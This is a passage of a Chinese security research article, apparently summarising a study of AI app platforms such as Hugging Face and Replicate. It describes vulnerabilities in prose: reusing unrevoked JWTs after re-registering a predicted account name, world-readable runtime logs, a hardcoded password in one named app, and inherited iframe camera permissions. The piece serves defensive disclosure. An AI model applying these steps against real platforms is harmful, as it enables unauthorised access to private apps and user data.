0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们发现，AI 应用与普通 Web 应用最关键的区别在于：</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">AI </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">应用本质上是开发者自建的 Web </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">服务器，再通过 iframe </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">嵌入到平台主站页面中。</span></strong></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">正是这种&#34;平台页面嵌第三方 iframe&#34;的架构，加上跨用户共享运行环境、无状态令牌认证、世界可读日志、代码自由复制等机制，构成了新的攻击面。需要说明的是，我们关注的是</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">承载模型的共享基础设施和集成逻辑</span></strong><span leaf="">，而非模型本身的数学性质，因此提示词注入等模型层攻击不在讨论范围内。</span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.22853535353535354" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005579" src="https://wechat2rss.xlab.app/img-proxy/?k=0ae50daa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdvyFDXhXLKVdJ2YZIetmoupUgK5p3BW1wmkcnQj8MiaMPZ7zmQkiaPW66VdUT4psAWicOC5METOicw1K8iaDdFozeyrzBpIaDxClGww%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">图</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">1</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf=""> AI</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">应用架构</span></span></p><hr style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><div data-role="title" data-tools="135编辑器" data-id="172862" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;justify-content: flex-start;"><div style="display: flex;z-index: 1;margin-bottom: -10px;"><div style="background-color: #90efff;padding: 3px 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align:center;"><strong><span leaf="">PART.0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">2</span></strong></p></div></div></div><p style="width: 45px;margin-left: auto;margin-bottom: -25px;margin-right: 4px;margin-top: -28px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3983333333333334" data-type="gif" data-w="600" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005590" src="https://wechat2rss.xlab.app/img-proxy/?k=0e02489f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FQSjGzxHEMdsFWPyf1ibXxAQg0MYFD6IrbLGZlEtzib0yeN9MCymcLSFqKoCb6wMEHDicDkIW406xqwdgLxeEQR6w7cpS25iaQNLlibVyDBOJu9PQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><div style="background: linear-gradient(to right,#0776ff,#838eff);padding: 10px 5px;margin-left: 5px;box-sizing:border-box;"><p style="font-size: 16px;color: rgb(255, 255, 255);text-align: left;"><strong data-brushtype="text"><span leaf="">研究方法：对照成熟风险框架梳理威胁</span></strong></p></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为了尽量不遗漏地找出风险，我们按以下步骤梳理：先</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">枚举安全关键接口</span></strong><span leaf="">（密钥处理、令牌传递、iframe 嵌入、日志、存储等），再</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">优先看高影响、可实战利用的向量</span></strong><span leaf="">（如数据窃取、远程代码执行），最后</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">对照标准框架</span></strong><span leaf="">——把每个攻击向量映射到 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">OWASP Web Top 10</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">、OWASP LLM Top 10</span></strong><span leaf=""> 和</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">软件供应链攻击分类法</span></strong><span leaf="">，对应 AI 应用&#34;既是 Web 应用、又是带复杂依赖的组合系统&#34;这一双重属性。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终我们归纳出 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">5 </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">类威胁、10 </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">种攻击向量</span></strong><span leaf="">。其中 3 种此前未被报告、由平台架构设计直接导致——</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">幽灵令牌（</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">Ghost Token</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong><span leaf="">、</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">认证绕过（</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">Authentication Bypass</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong><span leaf=""> 和 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">标识符复用（Identifier Reuse</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong><span leaf="">；其余几种是传统 Web 漏洞在 AI 应用场景下被放大的形式。</span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6111111111111112" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005581" src="https://wechat2rss.xlab.app/img-proxy/?k=8a26689c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdvvZbQld0sHBKRChWFAtUriaW1qGGal8UTHlfe4u4qOegiaTDTm8ZWtdbu3WvAjKT8bLfypuF6fEbicT0jFKrQVsloUH3rsRYw6sU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">图</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">2</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">五类威胁</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">×</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf=""> 10 </span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">向量</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">×</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">三平台对照表</span></span></p><hr style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><div data-role="title" data-tools="135编辑器" data-id="172862" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;justify-content: flex-start;"><div style="display: flex;z-index: 1;margin-bottom: -10px;"><div style="background-color: #90efff;padding: 3px 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align:center;"><strong><span leaf="">PART.03</span></strong></p></div></div></div><p style="width: 45px;margin-left: auto;margin-bottom: -25px;margin-right: 4px;margin-top: -28px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3983333333333334" data-type="gif" data-w="600" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005591" src="https://wechat2rss.xlab.app/img-proxy/?k=410e7d59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FQSjGzxHEMds3D6MPbxDf2MicEGhUC7yrZqJiaW8YNibjBggoEEDVRZ9JrDt4rHU3JDEtc0hEAic6eib6lfa5gkbJWjZJNBIA2xpulrUtBRBcE9UU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><div style="background: linear-gradient(to right,#0776ff,#838eff);padding: 10px 5px;margin-left: 5px;box-sizing:border-box;"><p style="font-size: 16px;color: rgb(255, 255, 255);text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 17px;">主要攻击向量分析</span></span></strong></p></div></div></div><h3 style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-weight: bold;">3.1 访问控制失效</span></span></h3><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">▶ </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">幽灵令牌（Ghost Token</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">，A2</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Hugging Face 用</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">无状态的</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf=""> JWT </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">令牌</span></strong><span leaf="">为私有应用做认证，签发令牌的 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">APIjwt</span></span><span leaf=""> 接口对所有人开放。问题在于：当应用归属发生变化（被删除、用户名被重新注册）时，平台</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">不会让此前签发的令牌失效</span></strong><span leaf="">。于是攻击者可以预测某组织未来会用的应用标识符（例如盯上在 GitHub 活跃、但尚未入驻 Hugging Face 的组织），抢先注册用户名、创建私有应用、生成有效期 24 小时的 JWT，再删除账号和应用、靠免费账号反复&#34;创建—删除&#34;维持令牌有效；当该组织日后注册同名账号并创建同名应用时，攻击者此前持有的令牌</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">仍能访问其私有应用</span></strong><span leaf="">。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">可行性方面我们给出了数据：在 49 万有应用的 Hugging Face 用户中，8,462 个是组织账号，其中 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">51.16%</span></strong><span leaf=""> 与现存 GitHub 组织同名；重叠账号下 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">4.88%</span></strong><span leaf=""> 的应用名与对应 GitHub 仓库名完全一致——说明标识符在一定程度上可预测。</span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3207070707070707" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005582" src="https://wechat2rss.xlab.app/img-proxy/?k=44be032a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdvRsHXmibR1JJ6iclJ58sckbD9gR6KGSPibPVm39OnY1JvMicwR9LTp542j3GfaVID8ZD2bNXdchwI1jgCHiciadicyXFs0QiaLhWUfShs%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">图</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">3</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf=""> AI</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">应用的认证流程</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">▶ </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">日志渗漏（Log Exfiltration</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">，A1</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">运行时日志常会无意记录敏感数据。我们发现，Hugging Face 和 Replicate 虽在界面上隐藏了日志查看按钮，却把公开应用的运行日志配置成了</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">世界可读</span></strong><span leaf="">。Hugging Face 那个公开的日志 API 还能为任意公开应用签发可读取完整日志的 JWT，结果是</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">任何</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf=""> Hugging Face </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">用户都能读取任意公开应用的运行日志</span></strong><span leaf="">。Replicate 也有类似问题，但因任务标识符是 26 位随机串、无法枚举，实际可利用范围有限；ModelScope 只允许管理员访问日志，不受此影响。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">▶ </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">认证绕过（Authentication Bypass</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">，A3</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">部分开发者把</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">口令直接写死在源码里</span></strong><span leaf="">做访问校验（如 Replicate 上的 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">ardianfe/stable-audio-prod</span></span><span leaf="">，直接比对用户传入的 key 与硬编码字符串）。但密码就在容器镜像的源码里，攻击者拉下镜像即可读到，这种&#34;锁&#34;起不到保护作用。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">▶ </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">过度授权 iframe</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">（A4</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Hugging Face 默认给每个应用的 iframe 授予多达 27 项权限，包括摄像头和麦克风。当用户给一个可信应用授权后，</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">同一会话中后续加载的应用会继承这些权限</span></strong><span leaf="">，不再重新询问。也就是说，用户先给一个正常应用授权了摄像头，之后加载的另一个应用就可能在不弹窗的情况下访问摄像头。实测中，21,444 个（2.28%）应用至少请求了一项浏览器权限。</span></p><h3 style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-weight: bold;">3.2 资源复用缺陷</span></span></h3><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 